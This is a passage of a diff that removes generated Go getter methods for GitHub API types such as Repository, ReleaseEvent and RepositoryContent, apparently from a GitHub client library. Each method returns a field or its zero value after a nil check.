- } - return *r.UpdatedAt -} - -// GetUploader returns the Uploader field. -func (r *ReleaseAsset) GetUploader() *User { - if r == nil { - return nil - } - return r.Uploader -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (r *ReleaseAsset) GetURL() string { - if r == nil || r.URL == nil { - return "" - } - return *r.URL -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (r *ReleaseEvent) GetAction() string { - if r == nil || r.Action == nil { - return "" - } - return *r.Action -} - -// GetInstallation returns the Installation field. -func (r *ReleaseEvent) GetInstallation() *Installation { - if r == nil { - return nil - } - return r.Installation -} - -// GetRelease returns the Release field. -func (r *ReleaseEvent) GetRelease() *RepositoryRelease { - if r == nil { - return nil - } - return r.Release -} - -// GetRepo returns the Repo field. -func (r *ReleaseEvent) GetRepo() *Repository { - if r == nil { - return nil - } - return r.Repo -} - -// GetSender returns the Sender field. -func (r *ReleaseEvent) GetSender() *User { - if r == nil { - return nil - } - return r.Sender -} - -// GetExpiresAt returns the ExpiresAt field if it's non-nil, zero value otherwise. -func (r *RemoveToken) GetExpiresAt() Timestamp { - if r == nil || r.ExpiresAt == nil { - return Timestamp{} - } - return *r.ExpiresAt -} - -// GetToken returns the Token field if it's non-nil, zero value otherwise. -func (r *RemoveToken) GetToken() string { - if r == nil || r.Token == nil { - return "" - } - return *r.Token -} - -// GetFrom returns the From field if it's non-nil, zero value otherwise. -func (r *Rename) GetFrom() string { - if r == nil || r.From == nil { - return "" - } - return *r.From -} - -// GetTo returns the To field if it's non-nil, zero value otherwise. -func (r *Rename) GetTo() string { - if r == nil || r.To == nil { - return "" - } - return *r.To -} - -// GetMessage returns the Message field if it's non-nil, zero value otherwise. -func (r *RenameOrgResponse) GetMessage() string { - if r == nil || r.Message == nil { - return "" - } - return *r.Message -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (r *RenameOrgResponse) GetURL() string { - if r == nil || r.URL == nil { - return "" - } - return *r.URL -} - -// GetIncompleteResults returns the IncompleteResults field if it's non-nil, zero value otherwise. -func (r *RepositoriesSearchResult) GetIncompleteResults() bool { - if r == nil || r.IncompleteResults == nil { - return false - } - return *r.IncompleteResults -} - -// GetTotal returns the Total field if it's non-nil, zero value otherwise. -func (r *RepositoriesSearchResult) GetTotal() int { - if r == nil || r.Total == nil { - return 0 - } - return *r.Total -} - -// GetAllowMergeCommit returns the AllowMergeCommit field if it's non-nil, zero value otherwise. -func (r *Repository) GetAllowMergeCommit() bool { - if r == nil || r.AllowMergeCommit == nil { - return false - } - return *r.AllowMergeCommit -} - -// GetAllowRebaseMerge returns the AllowRebaseMerge field if it's non-nil, zero value otherwise. -func (r *Repository) GetAllowRebaseMerge() bool { - if r == nil || r.AllowRebaseMerge == nil { - return false - } - return *r.AllowRebaseMerge -} - -// GetAllowSquashMerge returns the AllowSquashMerge field if it's non-nil, zero value otherwise. -func (r *Repository) GetAllowSquashMerge() bool { - if r == nil || r.AllowSquashMerge == nil { - return false - } - return *r.AllowSquashMerge -} - -// GetArchived returns the Archived field if it's non-nil, zero value otherwise. -func (r *Repository) GetArchived() bool { - if r == nil || r.Archived == nil { - return false - } - return *r.Archived -} - -// GetArchiveURL returns the ArchiveURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetArchiveURL() string { - if r == nil || r.ArchiveURL == nil { - return "" - } - return *r.ArchiveURL -} - -// GetAssigneesURL returns the AssigneesURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetAssigneesURL() string { - if r == nil || r.AssigneesURL == nil { - return "" - } - return *r.AssigneesURL -} - -// GetAutoInit returns the AutoInit field if it's non-nil, zero value otherwise. -func (r *Repository) GetAutoInit() bool { - if r == nil || r.AutoInit == nil { - return false - } - return *r.AutoInit -} - -// GetBlobsURL returns the BlobsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetBlobsURL() string { - if r == nil || r.BlobsURL == nil { - return "" - } - return *r.BlobsURL -} - -// GetBranchesURL returns the BranchesURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetBranchesURL() string { - if r == nil || r.BranchesURL == nil { - return "" - } - return *r.BranchesURL -} - -// GetCloneURL returns the CloneURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetCloneURL() string { - if r == nil || r.CloneURL == nil { - return "" - } - return *r.CloneURL -} - -// GetCodeOfConduct returns the CodeOfConduct field. -func (r *Repository) GetCodeOfConduct() *CodeOfConduct { - if r == nil { - return nil - } - return r.CodeOfConduct -} - -// GetCollaboratorsURL returns the CollaboratorsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetCollaboratorsURL() string { - if r == nil || r.CollaboratorsURL == nil { - return "" - } - return *r.CollaboratorsURL -} - -// GetCommentsURL returns the CommentsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetCommentsURL() string { - if r == nil || r.CommentsURL == nil { - return "" - } - return *r.CommentsURL -} - -// GetCommitsURL returns the CommitsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetCommitsURL() string { - if r == nil || r.CommitsURL == nil { - return "" - } - return *r.CommitsURL -} - -// GetCompareURL returns the CompareURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetCompareURL() string { - if r == nil || r.CompareURL == nil { - return "" - } - return *r.CompareURL -} - -// GetContentsURL returns the ContentsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetContentsURL() string { - if r == nil || r.ContentsURL == nil { - return "" - } - return *r.ContentsURL -} - -// GetContributorsURL returns the ContributorsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetContributorsURL() string { - if r == nil || r.ContributorsURL == nil { - return "" - } - return *r.ContributorsURL -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (r *Repository) GetCreatedAt() Timestamp { - if r == nil || r.CreatedAt == nil { - return Timestamp{} - } - return *r.CreatedAt -} - -// GetDefaultBranch returns the DefaultBranch field if it's non-nil, zero value otherwise. -func (r *Repository) GetDefaultBranch() string { - if r == nil || r.DefaultBranch == nil { - return "" - } - return *r.DefaultBranch -} - -// GetDeleteBranchOnMerge returns the DeleteBranchOnMerge field if it's non-nil, zero value otherwise. -func (r *Repository) GetDeleteBranchOnMerge() bool { - if r == nil || r.DeleteBranchOnMerge == nil { - return false - } - return *r.DeleteBranchOnMerge -} - -// GetDeploymentsURL returns the DeploymentsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetDeploymentsURL() string { - if r == nil || r.DeploymentsURL == nil { - return "" - } - return *r.DeploymentsURL -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (r *Repository) GetDescription() string { - if r == nil || r.Description == nil { - return "" - } - return *r.Description -} - -// GetDisabled returns the Disabled field if it's non-nil, zero value otherwise. -func (r *Repository) GetDisabled() bool { - if r == nil || r.Disabled == nil { - return false - } - return *r.Disabled -} - -// GetDownloadsURL returns the DownloadsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetDownloadsURL() string { - if r == nil || r.DownloadsURL == nil { - return "" - } - return *r.DownloadsURL -} - -// GetEventsURL returns the EventsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetEventsURL() string { - if r == nil || r.EventsURL == nil { - return "" - } - return *r.EventsURL -} - -// GetFork returns the Fork field if it's non-nil, zero value otherwise. -func (r *Repository) GetFork() bool { - if r == nil || r.Fork == nil { - return false - } - return *r.Fork -} - -// GetForksCount returns the ForksCount field if it's non-nil, zero value otherwise. -func (r *Repository) GetForksCount() int { - if r == nil || r.ForksCount == nil { - return 0 - } - return *r.ForksCount -} - -// GetForksURL returns the ForksURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetForksURL() string { - if r == nil || r.ForksURL == nil { - return "" - } - return *r.ForksURL -} - -// GetFullName returns the FullName field if it's non-nil, zero value otherwise. -func (r *Repository) GetFullName() string { - if r == nil || r.FullName == nil { - return "" - } - return *r.FullName -} - -// GetGitCommitsURL returns the GitCommitsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetGitCommitsURL() string { - if r == nil || r.GitCommitsURL == nil { - return "" - } - return *r.GitCommitsURL -} - -// GetGitignoreTemplate returns the GitignoreTemplate field if it's non-nil, zero value otherwise. -func (r *Repository) GetGitignoreTemplate() string { - if r == nil || r.GitignoreTemplate == nil { - return "" - } - return *r.GitignoreTemplate -} - -// GetGitRefsURL returns the GitRefsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetGitRefsURL() string { - if r == nil || r.GitRefsURL == nil { - return "" - } - return *r.GitRefsURL -} - -// GetGitTagsURL returns the GitTagsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetGitTagsURL() string { - if r == nil || r.GitTagsURL == nil { - return "" - } - return *r.GitTagsURL -} - -// GetGitURL returns the GitURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetGitURL() string { - if r == nil || r.GitURL == nil { - return "" - } - return *r.GitURL -} - -// GetHasDownloads returns the HasDownloads field if it's non-nil, zero value otherwise. -func (r *Repository) GetHasDownloads() bool { - if r == nil || r.HasDownloads == nil { - return false - } - return *r.HasDownloads -} - -// GetHasIssues returns the HasIssues field if it's non-nil, zero value otherwise. -func (r *Repository) GetHasIssues() bool { - if r == nil || r.HasIssues == nil { - return false - } - return *r.HasIssues -} - -// GetHasPages returns the HasPages field if it's non-nil, zero value otherwise. -func (r *Repository) GetHasPages() bool { - if r == nil || r.HasPages == nil { - return false - } - return *r.HasPages -} - -// GetHasProjects returns the HasProjects field if it's non-nil, zero value otherwise. -func (r *Repository) GetHasProjects() bool { - if r == nil || r.HasProjects == nil { - return false - } - return *r.HasProjects -} - -// GetHasWiki returns the HasWiki field if it's non-nil, zero value otherwise. -func (r *Repository) GetHasWiki() bool { - if r == nil || r.HasWiki == nil { - return false - } - return *r.HasWiki -} - -// GetHomepage returns the Homepage field if it's non-nil, zero value otherwise. -func (r *Repository) GetHomepage() string { - if r == nil || r.Homepage == nil { - return "" - } - return *r.Homepage -} - -// GetHooksURL returns the HooksURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetHooksURL() string { - if r == nil || r.HooksURL == nil { - return "" - } - return *r.HooksURL -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetHTMLURL() string { - if r == nil || r.HTMLURL == nil { - return "" - } - return *r.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (r *Repository) GetID() int64 { - if r == nil || r.ID == nil { - return 0 - } - return *r.ID -} - -// GetIssueCommentURL returns the IssueCommentURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetIssueCommentURL() string { - if r == nil || r.IssueCommentURL == nil { - return "" - } - return *r.IssueCommentURL -} - -// GetIssueEventsURL returns the IssueEventsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetIssueEventsURL() string { - if r == nil || r.IssueEventsURL == nil { - return "" - } - return *r.IssueEventsURL -} - -// GetIssuesURL returns the IssuesURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetIssuesURL() string { - if r == nil || r.IssuesURL == nil { - return "" - } - return *r.IssuesURL -} - -// GetIsTemplate returns the IsTemplate field if it's non-nil, zero value otherwise. -func (r *Repository) GetIsTemplate() bool { - if r == nil || r.IsTemplate == nil { - return false - } - return *r.IsTemplate -} - -// GetKeysURL returns the KeysURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetKeysURL() string { - if r == nil || r.KeysURL == nil { - return "" - } - return *r.KeysURL -} - -// GetLabelsURL returns the LabelsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetLabelsURL() string { - if r == nil || r.LabelsURL == nil { - return "" - } - return *r.LabelsURL -} - -// GetLanguage returns the Language field if it's non-nil, zero value otherwise. -func (r *Repository) GetLanguage() string { - if r == nil || r.Language == nil { - return "" - } - return *r.Language -} - -// GetLanguagesURL returns the LanguagesURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetLanguagesURL() string { - if r == nil || r.LanguagesURL == nil { - return "" - } - return *r.LanguagesURL -} - -// GetLicense returns the License field. -func (r *Repository) GetLicense() *License { - if r == nil { - return nil - } - return r.License -} - -// GetLicenseTemplate returns the LicenseTemplate field if it's non-nil, zero value otherwise. -func (r *Repository) GetLicenseTemplate() string { - if r == nil || r.LicenseTemplate == nil { - return "" - } - return *r.LicenseTemplate -} - -// GetMasterBranch returns the MasterBranch field if it's non-nil, zero value otherwise. -func (r *Repository) GetMasterBranch() string { - if r == nil || r.MasterBranch == nil { - return "" - } - return *r.MasterBranch -} - -// GetMergesURL returns the MergesURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetMergesURL() string { - if r == nil || r.MergesURL == nil { - return "" - } - return *r.MergesURL -} - -// GetMilestonesURL returns the MilestonesURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetMilestonesURL() string { - if r == nil || r.MilestonesURL == nil { - return "" - } - return *r.MilestonesURL -} - -// GetMirrorURL returns the MirrorURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetMirrorURL() string { - if r == nil || r.MirrorURL == nil { - return "" - } - return *r.MirrorURL -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (r *Repository) GetName() string { - if r == nil || r.Name == nil { - return "" - } - return *r.Name -} - -// GetNetworkCount returns the NetworkCount field if it's non-nil, zero value otherwise. -func (r *Repository) GetNetworkCount() int { - if r == nil || r.NetworkCount == nil { - return 0 - } - return *r.NetworkCount -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (r *Repository) GetNodeID() string { - if r == nil || r.NodeID == nil { - return "" - } - return *r.NodeID -} - -// GetNotificationsURL returns the NotificationsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetNotificationsURL() string { - if r == nil || r.NotificationsURL == nil { - return "" - } - return *r.NotificationsURL -} - -// GetOpenIssuesCount returns the OpenIssuesCount field if it's non-nil, zero value otherwise. -func (r *Repository) GetOpenIssuesCount() int { - if r == nil || r.OpenIssuesCount == nil { - return 0 - } - return *r.OpenIssuesCount -} - -// GetOrganization returns the Organization field. -func (r *Repository) GetOrganization() *Organization { - if r == nil { - return nil - } - return r.Organization -} - -// GetOwner returns the Owner field. -func (r *Repository) GetOwner() *User { - if r == nil { - return nil - } - return r.Owner -} - -// GetParent returns the Parent field. -func (r *Repository) GetParent() *Repository { - if r == nil { - return nil - } - return r.Parent -} - -// GetPermissions returns the Permissions field if it's non-nil, zero value otherwise. -func (r *Repository) GetPermissions() map[string]bool { - if r == nil || r.Permissions == nil { - return map[string]bool{} - } - return *r.Permissions -} - -// GetPrivate returns the Private field if it's non-nil, zero value otherwise. -func (r *Repository) GetPrivate() bool { - if r == nil || r.Private == nil { - return false - } - return *r.Private -} - -// GetPullsURL returns the PullsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetPullsURL() string { - if r == nil || r.PullsURL == nil { - return "" - } - return *r.PullsURL -} - -// GetPushedAt returns the PushedAt field if it's non-nil, zero value otherwise. -func (r *Repository) GetPushedAt() Timestamp { - if r == nil || r.PushedAt == nil { - return Timestamp{} - } - return *r.PushedAt -} - -// GetReleasesURL returns the ReleasesURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetReleasesURL() string { - if r == nil || r.ReleasesURL == nil { - return "" - } - return *r.ReleasesURL -} - -// GetSize returns the Size field if it's non-nil, zero value otherwise. -func (r *Repository) GetSize() int { - if r == nil || r.Size == nil { - return 0 - } - return *r.Size -} - -// GetSource returns the Source field. -func (r *Repository) GetSource() *Repository { - if r == nil { - return nil - } - return r.Source -} - -// GetSSHURL returns the SSHURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetSSHURL() string { - if r == nil || r.SSHURL == nil { - return "" - } - return *r.SSHURL -} - -// GetStargazersCount returns the StargazersCount field if it's non-nil, zero value otherwise. -func (r *Repository) GetStargazersCount() int { - if r == nil || r.StargazersCount == nil { - return 0 - } - return *r.StargazersCount -} - -// GetStargazersURL returns the StargazersURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetStargazersURL() string { - if r == nil || r.StargazersURL == nil { - return "" - } - return *r.StargazersURL -} - -// GetStatusesURL returns the StatusesURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetStatusesURL() string { - if r == nil || r.StatusesURL == nil { - return "" - } - return *r.StatusesURL -} - -// GetSubscribersCount returns the SubscribersCount field if it's non-nil, zero value otherwise. -func (r *Repository) GetSubscribersCount() int { - if r == nil || r.SubscribersCount == nil { - return 0 - } - return *r.SubscribersCount -} - -// GetSubscribersURL returns the SubscribersURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetSubscribersURL() string { - if r == nil || r.SubscribersURL == nil { - return "" - } - return *r.SubscribersURL -} - -// GetSubscriptionURL returns the SubscriptionURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetSubscriptionURL() string { - if r == nil || r.SubscriptionURL == nil { - return "" - } - return *r.SubscriptionURL -} - -// GetSVNURL returns the SVNURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetSVNURL() string { - if r == nil || r.SVNURL == nil { - return "" - } - return *r.SVNURL -} - -// GetTagsURL returns the TagsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetTagsURL() string { - if r == nil || r.TagsURL == nil { - return "" - } - return *r.TagsURL -} - -// GetTeamID returns the TeamID field if it's non-nil, zero value otherwise. -func (r *Repository) GetTeamID() int64 { - if r == nil || r.TeamID == nil { - return 0 - } - return *r.TeamID -} - -// GetTeamsURL returns the TeamsURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetTeamsURL() string { - if r == nil || r.TeamsURL == nil { - return "" - } - return *r.TeamsURL -} - -// GetTemplateRepository returns the TemplateRepository field. -func (r *Repository) GetTemplateRepository() *Repository { - if r == nil { - return nil - } - return r.TemplateRepository -} - -// GetTreesURL returns the TreesURL field if it's non-nil, zero value otherwise. -func (r *Repository) GetTreesURL() string { - if r == nil || r.TreesURL == nil { - return "" - } - return *r.TreesURL -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (r *Repository) GetUpdatedAt() Timestamp { - if r == nil || r.UpdatedAt == nil { - return Timestamp{} - } - return *r.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (r *Repository) GetURL() string { - if r == nil || r.URL == nil { - return "" - } - return *r.URL -} - -// GetVisibility returns the Visibility field if it's non-nil, zero value otherwise. -func (r *Repository) GetVisibility() string { - if r == nil || r.Visibility == nil { - return "" - } - return *r.Visibility -} - -// GetWatchersCount returns the WatchersCount field if it's non-nil, zero value otherwise. -func (r *Repository) GetWatchersCount() int { - if r == nil || r.WatchersCount == nil { - return 0 - } - return *r.WatchersCount -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (r *RepositoryComment) GetBody() string { - if r == nil || r.Body == nil { - return "" - } - return *r.Body -} - -// GetCommitID returns the CommitID field if it's non-nil, zero value otherwise. -func (r *RepositoryComment) GetCommitID() string { - if r == nil || r.CommitID == nil { - return "" - } - return *r.CommitID -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (r *RepositoryComment) GetCreatedAt() time.Time { - if r == nil || r.CreatedAt == nil { - return time.Time{} - } - return *r.CreatedAt -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (r *RepositoryComment) GetHTMLURL() string { - if r == nil || r.HTMLURL == nil { - return "" - } - return *r.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (r *RepositoryComment) GetID() int64 { - if r == nil || r.ID == nil { - return 0 - } - return *r.ID -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (r *RepositoryComment) GetNodeID() string { - if r == nil || r.NodeID == nil { - return "" - } - return *r.NodeID -} - -// GetPath returns the Path field if it's non-nil, zero value otherwise. -func (r *RepositoryComment) GetPath() string { - if r == nil || r.Path == nil { - return "" - } - return *r.Path -} - -// GetPosition returns the Position field if it's non-nil, zero value otherwise. -func (r *RepositoryComment) GetPosition() int { - if r == nil || r.Position == nil { - return 0 - } - return *r.Position -} - -// GetReactions returns the Reactions field. -func (r *RepositoryComment) GetReactions() *Reactions { - if r == nil { - return nil - } - return r.Reactions -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (r *RepositoryComment) GetUpdatedAt() time.Time { - if r == nil || r.UpdatedAt == nil { - return time.Time{} - } - return *r.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (r *RepositoryComment) GetURL() string { - if r == nil || r.URL == nil { - return "" - } - return *r.URL -} - -// GetUser returns the User field. -func (r *RepositoryComment) GetUser() *User { - if r == nil { - return nil - } - return r.User -} - -// GetAuthor returns the Author field. -func (r *RepositoryCommit) GetAuthor() *User { - if r == nil { - return nil - } - return r.Author -} - -// GetCommentsURL returns the CommentsURL field if it's non-nil, zero value otherwise. -func (r *RepositoryCommit) GetCommentsURL() string { - if r == nil || r.CommentsURL == nil { - return "" - } - return *r.CommentsURL -} - -// GetCommit returns the Commit field. -func (r *RepositoryCommit) GetCommit() *Commit { - if r == nil { - return nil - } - return r.Commit -} - -// GetCommitter returns the Committer field. -func (r *RepositoryCommit) GetCommitter() *User { - if r == nil { - return nil - } - return r.Committer -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (r *RepositoryCommit) GetHTMLURL() string { - if r == nil || r.HTMLURL == nil { - return "" - } - return *r.HTMLURL -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (r *RepositoryCommit) GetNodeID() string { - if r == nil || r.NodeID == nil { - return "" - } - return *r.NodeID -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (r *RepositoryCommit) GetSHA() string { - if r == nil || r.SHA == nil { - return "" - } - return *r.SHA -} - -// GetStats returns the Stats field. -func (r *RepositoryCommit) GetStats() *CommitStats { - if r == nil { - return nil - } - return r.Stats -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (r *RepositoryCommit) GetURL() string { - if r == nil || r.URL == nil { - return "" - } - return *r.URL -} - -// GetDownloadURL returns the DownloadURL field if it's non-nil, zero value otherwise. -func (r *RepositoryContent) GetDownloadURL() string { - if r == nil || r.DownloadURL == nil { - return "" - } - return *r.DownloadURL -} - -// GetEncoding returns the Encoding field if it's non-nil, zero value otherwise. -func (r *RepositoryContent) GetEncoding() string { - if r == nil || r.Encoding == nil { - return "" - } - return *r.Encoding -} - -// GetGitURL returns the GitURL field if it's non-nil, zero value otherwise. -func (r *RepositoryContent) GetGitURL() string { - if r == nil || r.GitURL == nil { - return "" - } - return *r.GitURL -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (r *RepositoryContent) GetHTMLURL() string { - if r == nil || r.HTMLURL == nil { - return "" - } - return *r.HTMLURL -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (r *RepositoryContent) GetName() string { - if r == nil || r.Name == nil { - return "" - } - return *r.Name -} - -// GetPath returns the Path field if it's non-nil, zero value otherwise. -func (r *RepositoryContent) GetPath() string { - if r == nil || r.Path == nil { - return "" - } - return *r.Path -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (r *RepositoryContent) GetSHA() string { - if r == nil || r.SHA == nil { - return "" - } - return *r.SHA -} - -// GetSize returns the Size field if it's non-nil, zero value otherwise. -func (r *RepositoryContent) GetSize() int { - if r == nil || r.Size == nil { - return 0 - } - return *r.Size -} - -// GetTarget returns the Target field if it's non-nil, zero value otherwise. -func (r *RepositoryContent) GetTarget() string { - if r == nil || r.Target == nil { - return "" - } - return *r.Target -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (r *RepositoryContent) GetType() string { - if r == nil || r.Type == nil { - return "" - } - return *r.Type -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (r *RepositoryContent) GetURL() string { - if r == nil || r.URL == nil { - return "" - } - return *r.URL -} - -// GetAuthor returns the Author field. -func (r *RepositoryContentFileOptions) GetAuthor() *CommitAuthor { - if r == nil { - return nil - } - return r.Author -} - -// GetBranch returns the Branch field if it's non-nil, zero value otherwise. -func (r *RepositoryContentFileOptions) GetBranch() string { - if r == nil || r.Branch == nil { - return "" - } - return *r.Branch -} - -// GetCommitter returns the Committer field. -func (r *RepositoryContentFileOptions) GetCommitter() *CommitAuthor { - if r == nil { - return nil - } - return r.Committer -} - -// GetMessage returns the Message field if it's non-nil, zero value otherwise. -func (r *RepositoryContentFileOptions) GetMessage() string { - if r == nil || r.Message == nil { - return "" - } - return *r.Message -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (r *RepositoryContentFileOptions) GetSHA() string { - if r == nil || r.SHA == nil { - return "" - } - return *r.SHA -} - -// GetContent returns the Content field. -func (r *RepositoryContentResponse) GetContent() *RepositoryContent { - if r == nil { - return nil - } - return r.Content -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (r *RepositoryDispatchEvent) GetAction() string { - if r == nil || r.Action == nil { - return "" - } - return *r.Action -} - -// GetBranch returns the Branch field if it's non-nil, zero value otherwise. -func (r *RepositoryDispatchEvent) GetBranch() string { - if r == nil || r.Branch == nil { - return "" - } - return *r.Branch -} - -// GetInstallation returns the Installation field. -func (r *RepositoryDispatchEvent) GetInstallation() *Installation { - if r == nil { - return nil - } - return r.Installation -} - -// GetOrg returns the Org field. -func (r *RepositoryDispatchEvent) GetOrg() *Organization { - if r == nil { - return nil - } - return r.Org -} - -// GetRepo returns the Repo field. -func (r *RepositoryDispatchEvent) GetRepo() *Repository { - if r == nil { - return nil - } - return r.Repo -} - -// GetSender returns the Sender field. -func (r *RepositoryDispatchEvent) GetSender() *User { - if r == nil { - return nil - } - return r.Sender -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (r *RepositoryEvent) GetAction() string { - if r == nil || r.Action == nil { - return "" - } - return *r.Action -} - -// GetInstallation returns the Installation field. -func (r *RepositoryEvent) GetInstallation() *Installation { - if r == nil { - return nil - } - return r.Installation -} - -// GetOrg returns the Org field. -func (r *RepositoryEvent) GetOrg() *Organization { - if r == nil { - return nil - } - return r.Org -} - -// GetRepo returns the Repo field. -func (r *RepositoryEvent) GetRepo() *Repository { - if r == nil { - return nil - } - return r.Repo -} - -// GetSender returns the Sender field. -func (r *RepositoryEvent) GetSender() *User { - if r == nil { - return nil - } - return r.Sender -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (r *RepositoryInvitation) GetCreatedAt() Timestamp { - if r == nil || r.CreatedAt == nil { - return Timestamp{} - } - return *r.CreatedAt -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (r *RepositoryInvitation) GetHTMLURL() string { - if r == nil || r.HTMLURL == nil { - return "" - } - return *r.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (r *RepositoryInvitation) GetID() int64 { - if r == nil || r.ID == nil { - return 0 - } - return *r.ID -} - -// GetInvitee returns the Invitee field. -func (r *RepositoryInvitation) GetInvitee() *User { - if r == nil { - return nil - } - return r.Invitee -} - -// GetInviter returns the Inviter field. -func (r *RepositoryInvitation) GetInviter() *User { - if r == nil { - return nil - } - return r.Inviter -} - -// GetPermissions returns the Permissions field if it's non-nil, zero value otherwise. -func (r *RepositoryInvitation) GetPermissions() string { - if r == nil || r.Permissions == nil { - return "" - } - return *r.Permissions -} - -// GetRepo returns the Repo field. -func (r *RepositoryInvitation) GetRepo() *Repository { - if r == nil { - return nil - } - return r.Repo -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (r *RepositoryInvitation) GetURL() string { - if r == nil || r.URL == nil { - return "" - } - return *r.URL -} - -// GetContent returns the Content field if it's non-nil, zero value otherwise. -func (r *RepositoryLicense) GetContent() string { - if r == nil || r.Content == nil { - return "" - } - return *r.Content -} - -// GetDownloadURL returns the DownloadURL field if it's non-nil, zero value otherwise. -func (r *RepositoryLicense) GetDownloadURL() string { - if r == nil || r.DownloadURL == nil { - return "" - } - return *r.DownloadURL -} - -// GetEncoding returns the Encoding field if it's non-nil, zero value otherwise. -func (r *RepositoryLicense) GetEncoding() string { - if r == nil || r.Encoding == nil { - return "" - } - return *r.Encoding -} - -// GetGitURL returns the GitURL field if it's non-nil, zero value otherwise. -func (r *RepositoryLicense) GetGitURL() string { - if r == nil || r.GitURL == nil { - return "" - } - return *r.GitURL -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (r *RepositoryLicense) GetHTMLURL() string { - if r == nil || r.HTMLURL == nil { - return "" - } - return *r.HTMLURL -} - -// GetLicense returns the License field. -func (r *RepositoryLicense) GetLicense() *License { - if r == nil { - return nil - } - return r.License -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (r *RepositoryLicense) GetName() string { - if r == nil || r.Name == nil { - return "" - } - return *r.Name -} - -// GetPath returns the Path field if it's non-nil, zero value otherwise. -func (r *RepositoryLicense) GetPath() string { - if r == nil || r.Path == nil { - return "" - } - return *r.Path -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (r *RepositoryLicense) GetSHA() string { - if r == nil || r.SHA == nil { - return "" - } - return *r.SHA -} - -// GetSize returns the Size field if it's non-nil, zero value otherwise. -func (r *RepositoryLicense) GetSize() int { - if r == nil || r.Size == nil { - return 0 - } - return *r.Size -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (r *RepositoryLicense) GetType() string { - if r == nil || r.Type == nil { - return "" - } - return *r.Type -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (r *RepositoryLicense) GetURL() string { - if r == nil || r.URL == nil { - return "" - } - return *r.URL -} - -// GetBase returns the Base field if it's non-nil, zero value otherwise. -func (r *RepositoryMergeRequest) GetBase() string { - if r == nil || r.Base == nil { - return "" - } - return *r.Base -} - -// GetCommitMessage returns the 